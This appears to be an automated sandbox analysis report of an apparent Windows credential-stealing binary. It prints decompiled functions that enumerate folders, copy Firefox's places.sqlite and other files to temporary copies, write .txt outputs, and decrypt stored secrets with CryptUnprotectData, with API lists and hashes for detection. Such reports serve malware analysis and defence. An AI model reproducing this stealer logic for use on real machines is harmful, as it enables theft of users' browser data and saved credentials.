0x004130d7
0x004130da
0x004130f0
0x004130f5
0x004130fb
0x00413100
0x00413105
0x00413112
0x00413124
0x0041312c
0x0041312d
0x00413132
0x00413135
0x00413138
0x0041313b
0x00413151
0x00413156
0x0041315c
0x0041316c
0x0041317d
0x0041318e
0x00413199
0x0041319a
0x0041319d
0x004131a2
0x004131a5
0x004131bb
0x004131c0
0x004131c6
0x004131d6
0x004131e7
0x004131f2
0x004131f3
0x004131fa
0x004131fd
0x004131fd
0x0041321c
0x00413228
0x0041322f
0x00413232
0x00413235
0x00413245
0x00413250
0x00413260
0x0041326b
0x0041327b
0x0041328d

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,0041328E,?,00000000,?,00000000,?,00413A53,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004130CF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,004132B8,?,004132B8,0041A212,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413217
FindClose.KERNEL32(?,?,?,0041C80C,004132B8,?,004132B8,0041A212,00000000,?,00000000,0041328E,?,00000000,?,00000000), ref: 00413228

Part of subcall function 0041253C: GetTickCount.KERNEL32 ref: 00412580
Part of subcall function 0041253C: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412840,?,.tmp,?,?,00000000,0041277F,?,00000000,00412809,?,00000000), ref: 004125FC

Strings

\places.sqlite, xrefs: 0041315C
\*.*, xrefs: 004130B6
.txt, xrefs: 004131C6

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*$\places.sqlite
API String ID: 572697310-3919338718
Opcode ID: a040b60dfd4019a5a45722e27576c59aa6b8ef46a9cb7f8d1a2c5635a72954e7
Instruction ID: db2ad4c0925ffecf13339862ae006cc807f871b19183d5a4da560477eb916681
Opcode Fuzzy Hash: a040b60dfd4019a5a45722e27576c59aa6b8ef46a9cb7f8d1a2c5635a72954e7
Instruction Fuzzy Hash: 50512E749042199FCF50EF62CC89ACDBBB9EB48305F5041FAA508B3251DB399F858F18

Uniqueness

Uniqueness Score: -1.00%

Function 00404C71, Relevance: 9.0, APIs: 6, Instructions: 41
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404C71(void* __eax, void* __ebx, void* __ecx, intOrPtr* __edi) {
				long _t11;
				void* _t16;

				_t16 = __ebx;
				 *__edi =  *__edi + __ecx;
				 *((intOrPtr*)(__eax - 0x41c5a4)) =  *((intOrPtr*)(__eax - 0x41c5a4)) + __eax - 0x41c5a4;
				 *0x41b00c = 2;
				 *0x41c010 = 0x4010b8;
				 *0x41c014 = 0x4010c0;
				 *0x41c036 = 2;
				 *0x41c000 = E004045C4;
				if(E00402A94() != 0) {
					_t3 = E00402AC4();
				}
				E00402B88(_t3);
				 *0x41c03c = 0xd7b0;
				 *0x41c208 = 0xd7b0;
				 *0x41c3d4 = 0xd7b0;
				 *0x41c02c = GetCommandLineA();
				 *0x41c028 = E00401180();
				if((GetVersion() & 0x80000000) == 0x80000000) {
					 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
				} else {
					if((GetVersion() & 0x000000ff) <= 4) {
						 *0x41c5a8 = E00404BA8(GetThreadLocale(), _t16, __eflags);
					} else {
						 *0x41c5a8 = 3;
					}
				}
				_t11 = GetCurrentThreadId();
				 *0x41c020 = _t11;
				return _t11;
			}

0x00404c71
0x00404c76
0x00404c7b
0x00404c7d
0x00404c84
0x00404c8e
0x00404c98
0x00404c9f
0x00404cb0
0x00404cb2
0x00404cb2
0x00404cb7
0x00404cbc
0x00404cc5
0x00404cce
0x00404cdc
0x00404ce6
0x00404cfa
0x00404d33
0x00404cfc
0x00404d0a
0x00404d22
0x00404d0c
0x00404d0c
0x00404d0c
0x00404d0a
0x00404d38
0x00404d3d
0x00404d42

APIs

Part of subcall function 00402A94: GetKeyboardType.USER32(00000000), ref: 00402A99
Part of subcall function 00402A94: GetKeyboardType.USER32(00000001), ref: 00402AA5

GetCommandLineA.KERNEL32 ref: 00404CD7
GetVersion.KERNEL32 ref: 00404CEB
GetVersion.KERNEL32 ref: 00404CFC
GetCurrentThreadId.KERNEL32 ref: 00404D38

Part of subcall function 00402AC4: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
Part of subcall function 00402AC4: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
Part of subcall function 00402AC4: RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

GetThreadLocale.KERNEL32 ref: 00404D18

Part of subcall function 00404BA8: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction ID: 1721a3a9195e16165242481212ff4b6f39af3106f899a404dc8ffc4097ba6689
Opcode Fuzzy Hash: c16a9bae5052d1d5fcf6e5d105fd87e92066834fdc2b316fa926a4ee5fff1b39
Instruction Fuzzy Hash: 210152F0881341D9D310BFB29C863893EA0AF89348F51C53FA2407A2F2D77D40448BAE

Uniqueness

Uniqueness Score: -1.00%

Function 0041160C, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E0041160C(char __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				intOrPtr _v624;
				char _v628;
				char _v632;
				char _v636;
				intOrPtr _v640;
				char _v644;
				char _v648;
				intOrPtr _v652;
				char _v656;
				char _v660;
				char _v664;
				char _v668;
				char _v672;
				char _v676;
				intOrPtr _v680;
				char _v684;
				intOrPtr* _t89;
				intOrPtr* _t123;
				void* _t135;
				intOrPtr* _t139;
				void* _t151;
				intOrPtr _t155;
				intOrPtr _t171;
				intOrPtr _t178;
				intOrPtr _t198;
				intOrPtr _t199;

				_t196 = __esi;
				_t195 = __edi;
				_t153 = __ebx;
				_t198 = _t199;
				_push(__ecx);
				_t155 = 0x54;
				do {
					_push(0);
					_push(0);
					_t155 = _t155 - 1;
				} while (_t155 != 0);
				_push(_t155);
				_t1 =  &_v8;
				 *_t1 = _t155;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t198);
				_push(0x41195e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t199;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411988);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411988);
					_t89 =  *0x41b180; // 0x41c91c
					_push( *_t89);
					E00403E78();
					if(E0040776C(_v624, _t153, 0x104) != 0) {
						_push(_t198);
						_push(0x41189c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t199;
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
							_push(_v644);
							_push(0x411988);
							_t139 =  *0x41b180; // 0x41c91c
							_push( *_t139);
							E00403E78();
							E00411034(_v640, _t153,  &_v636, _t195, _t196);
							E0040377C( &_v632, _v636);
							_push(_v632);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(0x411990);
							E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
							_push(_v656);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v648, _v652);
							_pop(_t151);
							E0040E6D4(_t151, _t153, _v648, _t195, _t196);
						}
						if(_a4 == 0) {
							_push(_v8);
							_push(0x411988);
							E00403D6C( &_v672, 0x104,  &(_v616.cFileName));
							_push(_v672);
							_push(0x411988);
							_t123 =  *0x41b180; // 0x41c91c
							_push( *_t123);
							E00403E78();
							E004112D0(_v668, _t153,  &_v664, _t195, _t196);
							E0040377C( &_v660, _v664);
							_push(_v660);
							_push(_v16);
							_push(0x411988);
							_push(_v12);
							_push(0x411990);
							E00403D6C( &_v684, 0x104,  &(_v616.cFileName));
							_push(_v684);
							_push(0x411990);
							_push(E004119A8);
							_push(E004119A8);
							_push(L".txt");
							E00403E78();
							E0040377C( &_v676, _v680);
							_pop(_t135);
							E0040E6D4(_t135, _t153, _v676, _t195, _t196);
						}
						_pop(_t178);
						 *[fs:eax] = _t178;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t171);
				 *[fs:eax] = _t171;
				_push(E00411968);
				E00403BF4( &_v684, 2);
				E004034E4( &_v676);
				E00403BF4( &_v672, 3);
				E004034E4( &_v660);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x0041160c
0x0041160c
0x0041160c
0x0041160d
0x0041160f
0x00411610
0x00411615
0x00411615
0x00411617
0x00411619
0x00411619
0x0041161c
0x0041161d
0x0041161d
0x00411620
0x00411621
0x00411622
0x00411623
0x00411626
0x00411629
0x0041162f
0x00411637
0x0041163f
0x00411646
0x00411647
0x0041164c
0x0041164f
0x00411667
0x0041167d
0x00411680
0x00411680
0x00411683
0x00411699
0x0041169e
0x004116a4
0x004116a9
0x004116ae
0x004116bb
0x004116cd
0x004116d5
0x004116d6
0x004116db
0x004116de
0x004116e5
0x004116eb
0x004116ee
0x00411704
0x00411709
0x0041170f
0x00411714
0x00411719
0x00411726
0x00411737
0x00411748
0x00411753
0x00411754
0x00411757
0x0041175c
0x0041175f
0x00411775
0x0041177a
0x00411780
0x00411790
0x004117a1
0x004117ac
0x004117ad
0x004117ad
0x004117b6
0x004117bc
0x004117bf
0x004117d5
0x004117da
0x004117e0
0x004117e5
0x004117ea
0x004117f7
0x00411808
0x00411819
0x00411824
0x00411825
0x00411828
0x0041182d
0x00411830
0x00411846
0x0041184b
0x00411851
0x00411856
0x0041185b
0x00411860
0x00411870
0x00411881
0x0041188c
0x0041188d
0x0041188d
0x00411894
0x00411897
0x00411897
0x004118b6
0x004118c2
0x004118c9
0x004118cc
0x004118cf
0x004118df
0x004118ea
0x004118fa
0x00411905
0x00411915
0x00411920
0x00411930
0x0041193b
0x0041194b
0x0041195d

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053,00000000,00000000,00000000,?,00411CBE,00000000,00000000), ref: 00411678

Part of subcall function 004112D0: GetTickCount.KERNEL32 ref: 00411315
Part of subcall function 004112D0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,004115E4,?,.tmp,?,?,00000000,00411526,?,00000000,004115AB,?,00000000), ref: 00411391

FindNextFileW.KERNEL32(?,?,0041C91C,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053), ref: 004118B1
FindClose.KERNEL32(?,?,?,0041C91C,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000), ref: 004118C2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

\*.*, xrefs: 0041165F
.txt, xrefs: 00411780, 00411860

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$CloseCopyCountFirstFreeNextStringTick
String ID: .txt$\*.*
API String ID: 4269597168-2615687548
Opcode ID: b7cd697545d2fa5f0459fee9811f7de309a2d0ba5142d04c105a288026d75c75
Instruction ID: 5d1a81ccab342788691620b24a62b0bf455cea36908fa984f2d283373c0e855c
Opcode Fuzzy Hash: b7cd697545d2fa5f0459fee9811f7de309a2d0ba5142d04c105a288026d75c75
Instruction Fuzzy Hash: 40813C7490011DAFCF11EB51CC56BDDB779EF44304F6081EAA218B62A1DB399F858F58

Uniqueness

Uniqueness Score: -1.00%

Function 004119A8, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E004119A8(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t74;
				intOrPtr* _t99;
				void* _t111;
				void* _t115;
				intOrPtr _t130;
				intOrPtr _t143;
				void* _t147;
				void* _t148;
				intOrPtr _t149;

				_t145 = __esi;
				_t144 = __edi;
				_t115 = __ebx + 1;
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_v117 = _v117 + __edx;
				_t147 = _t148;
				_t149 = _t148 + 0xfffffd74;
				_push(_t115);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t147);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t74 =  *0x41b3bc; // 0x41c80c
					_push( *_t74);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t147);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t149;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t99 =  *0x41b3bc; // 0x41c80c
						_push( *_t99);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t144, _t145);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t111);
						E0040E6D4(_t111, 0, _v648, _t144, _t145);
						_pop(_t143);
						 *[fs:eax] = _t143;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t130);
				 *[fs:eax] = _t130;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119a8
0x004119a8
0x004119a8
0x004119a9
0x004119ab
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00410D88: GetTickCount.KERNEL32 ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48

Strings

\*.*, xrefs: 00411A32
.txt, xrefs: 00411B49

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*
API String ID: 572697310-2615687548
Opcode ID: a356d1aef104fc62a0d83e0f23b15265d56114936feeb0c962a9a187a5f7b3d1
Instruction ID: bf64687dc2ad86eb18c2fbcd59d677e1e6eaf9ec35dfa69074ee7f3f85d2a588
Opcode Fuzzy Hash: a356d1aef104fc62a0d83e0f23b15265d56114936feeb0c962a9a187a5f7b3d1
Instruction Fuzzy Hash: 25514B749052199FCF61EF61CD85ACDBBB8EB48304F5081FAA508B32A1DB389F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 004119AC, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E004119AC(char __eax, void* __ebx, char __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				void* _v24;
				struct _WIN32_FIND_DATAW _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				intOrPtr* _t72;
				intOrPtr* _t97;
				void* _t109;
				intOrPtr _t127;
				intOrPtr _t140;
				void* _t144;
				void* _t145;
				intOrPtr _t146;

				_t142 = __esi;
				_t141 = __edi;
				_t144 = _t145;
				_t146 = _t145 + 0xfffffd74;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v632 = 0;
				_v636 = 0;
				_v648 = 0;
				_v652 = 0;
				_v656 = 0;
				_v640 = 0;
				_v644 = 0;
				_v624 = 0;
				_v628 = 0;
				_v620 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				E00404150( &_v16);
				_push(_t144);
				_push(0x411c11);
				_push( *[fs:eax]);
				 *[fs:eax] = _t146;
				E00403E14( &_v620, L"\\*.*", _v8, 0);
				_v24 = FindFirstFileW(E00403D98(_v620),  &_v616);
				do {
					_push(_v8);
					_push(0x411c38);
					E00403D6C( &_v628, 0x104,  &(_v616.cFileName));
					_push(_v628);
					_push(0x411c38);
					_t72 =  *0x41b3bc; // 0x41c80c
					_push( *_t72);
					E00403E78();
					if(E0040776C(_v624, 0, 0x104) != 0) {
						_push(_t144);
						_push(0x411b85);
						_push( *[fs:eax]);
						 *[fs:eax] = _t146;
						_push(_v8);
						_push(0x411c38);
						E00403D6C( &_v644, 0x104,  &(_v616.cFileName));
						_push(_v644);
						_push(0x411c38);
						_t97 =  *0x41b3bc; // 0x41c80c
						_push( *_t97);
						E00403E78();
						E00410D88(_v640, 0,  &_v636, _t141, _t142);
						E0040377C( &_v632, _v636);
						_push(_v632);
						_push(_v16);
						_push(0x411c38);
						_push(_v12);
						_push(E00411C40);
						E00403D6C( &_v656, 0x104,  &(_v616.cFileName));
						_push(_v656);
						_push(L".txt");
						E00403E78();
						E0040377C( &_v648, _v652);
						_pop(_t109);
						E0040E6D4(_t109, 0, _v648, _t141, _t142);
						_pop(_t140);
						 *[fs:eax] = _t140;
					}
				} while (FindNextFileW(_v24,  &_v616) != 0);
				FindClose(_v24);
				_pop(_t127);
				 *[fs:eax] = _t127;
				_push(E00411C18);
				E00403BF4( &_v656, 2);
				E004034E4( &_v648);
				E00403BF4( &_v644, 3);
				E004034E4( &_v632);
				E00403BF4( &_v628, 3);
				return E00403BF4( &_v16, 3);
			}

0x004119ac
0x004119ac
0x004119ad
0x004119af
0x004119b5
0x004119b6
0x004119b7
0x004119ba
0x004119c0
0x004119c6
0x004119cc
0x004119d2
0x004119d8
0x004119de
0x004119e4
0x004119ea
0x004119f0
0x004119f6
0x004119f9
0x004119fc
0x00411a02
0x00411a0a
0x00411a12
0x00411a19
0x00411a1a
0x00411a1f
0x00411a22
0x00411a3a
0x00411a50
0x00411a53
0x00411a53
0x00411a56
0x00411a6c
0x00411a71
0x00411a77
0x00411a7c
0x00411a81
0x00411a8e
0x00411aa0
0x00411aa8
0x00411aa9
0x00411aae
0x00411ab1
0x00411ab4
0x00411ab7
0x00411acd
0x00411ad2
0x00411ad8
0x00411add
0x00411ae2
0x00411aef
0x00411b00
0x00411b11
0x00411b1c
0x00411b1d
0x00411b20
0x00411b25
0x00411b28
0x00411b3e
0x00411b43
0x00411b49
0x00411b59
0x00411b6a
0x00411b75
0x00411b76
0x00411b7d
0x00411b80
0x00411b80
0x00411b9f
0x00411bab
0x00411bb2
0x00411bb5
0x00411bb8
0x00411bc8
0x00411bd3
0x00411be3
0x00411bee
0x00411bfe
0x00411c10

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

FindFirstFileW.KERNEL32(00000000,?,00000000,00411C11,?,00000000,?,00000000,?,004123C4,00000000,00000000,004123CE,?,00000000,00000000), ref: 00411A4B

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNEL32(?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411B9A
FindClose.KERNEL32(?,?,?,0041C80C,00411C38,?,00411C38,0041A212,00000000,?,00000000,00411C11,?,00000000,?,00000000), ref: 00411BAB

Part of subcall function 00410D88: GetTickCount.KERNEL32 ref: 00410DCC
Part of subcall function 00410D88: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00411018,?,.tmp,?,?,00000000,00410F66,?,00000000,00410FE1,?,00000000), ref: 00410E48

Strings

\*.*, xrefs: 00411A32
.txt, xrefs: 00411B49

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$AllocAttributesCloseCopyCountFirstNextStringTick
String ID: .txt$\*.*
API String ID: 572697310-2615687548
Opcode ID: b15686dc8056511c22f6009974073d3ef52242b41c6c0f73cd0f87596a77949b
Instruction ID: 460237bab6dc973d40a851033a2d7f34c10cc3b5c211c467e1e524dd2a58d6ff
Opcode Fuzzy Hash: b15686dc8056511c22f6009974073d3ef52242b41c6c0f73cd0f87596a77949b
Instruction Fuzzy Hash: E9511C749052199FCF61EF61CD89ACDBBB9EB48304F5081FAA508B3261DB389F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040A610, Relevance: 3.0, APIs: 2, Instructions: 33
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040A610(intOrPtr __eax, void* __ecx, char __edx) {
				char _v12;
				intOrPtr _v16;
				char _v20;
				void* _v36;
				intOrPtr _v40;

				_t19 = __ecx;
				_v20 = __edx;
				_v16 = __eax;
				_push( &_v12);
				_push(1);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v20);
				if( *0x41ca64() == 0) {
					return E00403538(__ecx, E0040A678);
				}
				E004036DC(__ecx, _v36);
				E00403B1C(_t19, _v40);
				return LocalFree(_v36);
			}

0x0040a614
0x0040a616
0x0040a619
0x0040a621
0x0040a622
0x0040a624
0x0040a626
0x0040a628
0x0040a62a
0x0040a630
0x0040a639
0x00000000
0x0040a664
0x0040a641
0x0040a64c
0x00000000

APIs

CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 0040A631
LocalFree.KERNEL32(?), ref: 0040A656

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: fa74fd686d8bb1450554d7fdbc3acb5fa010225d01e5a33861605ec384d54b81
Instruction ID: 789b43464e992449ae21f91847352ccfea11bbcfb58c617e1741a13a3b8d6e83
Opcode Fuzzy Hash: fa74fd686d8bb1450554d7fdbc3acb5fa010225d01e5a33861605ec384d54b81
Instruction Fuzzy Hash: 85F0BEB1344300ABD310EE69CC82B4BB7E8AB84700F14893E7698EB2D1D639E955875A

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA8, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404BA8(int __eax, void* __ebx, void* __eflags) {
				char _v8;
				char _v15;
				char _v20;
				intOrPtr _t29;
				void* _t32;

				_v20 = 0;
				_push(_t32);
				_push(0x404c0e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t32 + 0xfffffff0;
				GetLocaleInfoA(__eax, 0x1004,  &_v15, 7);
				E00403748( &_v20, 7,  &_v15);
				E00402988(_v20,  &_v8);
				if(_v8 != 0) {
				}
				_pop(_t29);
				 *[fs:eax] = _t29;
				_push(E00404C15);
				return E004034E4( &_v20);
			}

0x00404bb1
0x00404bb6
0x00404bb7
0x00404bbc
0x00404bbf
0x00404bce
0x00404bde
0x00404be9
0x00404bf4
0x00404bf4
0x00404bfa
0x00404bfd
0x00404c00
0x00404c0d

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404C0E), ref: 00404BCE

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 40f00df29b06f7f47e29b3e36becc3853c792834bf1450727d1b9494e9aa0756
Instruction ID: 4cf5545a5668d2b6934dff5f8e722f533bd1fe9dd63670d657e80fcd03084d14
Opcode Fuzzy Hash: 40f00df29b06f7f47e29b3e36becc3853c792834bf1450727d1b9494e9aa0756
Instruction Fuzzy Hash: 77F0C870A0420DAFE715DF91CD41ADEF77AF7C5714F50883AA610772D0E7B86A00C698

Uniqueness

Uniqueness Score: -1.00%

Function 00407AF0, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00417820, Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00417820(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v432;
				intOrPtr _v444;
				short _v446;
				char _v448;
				char _v1472;
				char _v1476;
				char _v1480;
				char _v1484;
				char _v1488;
				char _v1492;
				void* _t144;
				void* _t151;
				void* _t186;
				struct HINSTANCE__* _t196;
				void* _t197;
				intOrPtr _t206;
				void* _t222;
				void* _t225;
				void* _t228;

				_v1476 = 0;
				_v1480 = 0;
				_v1484 = 0;
				_v1488 = 0;
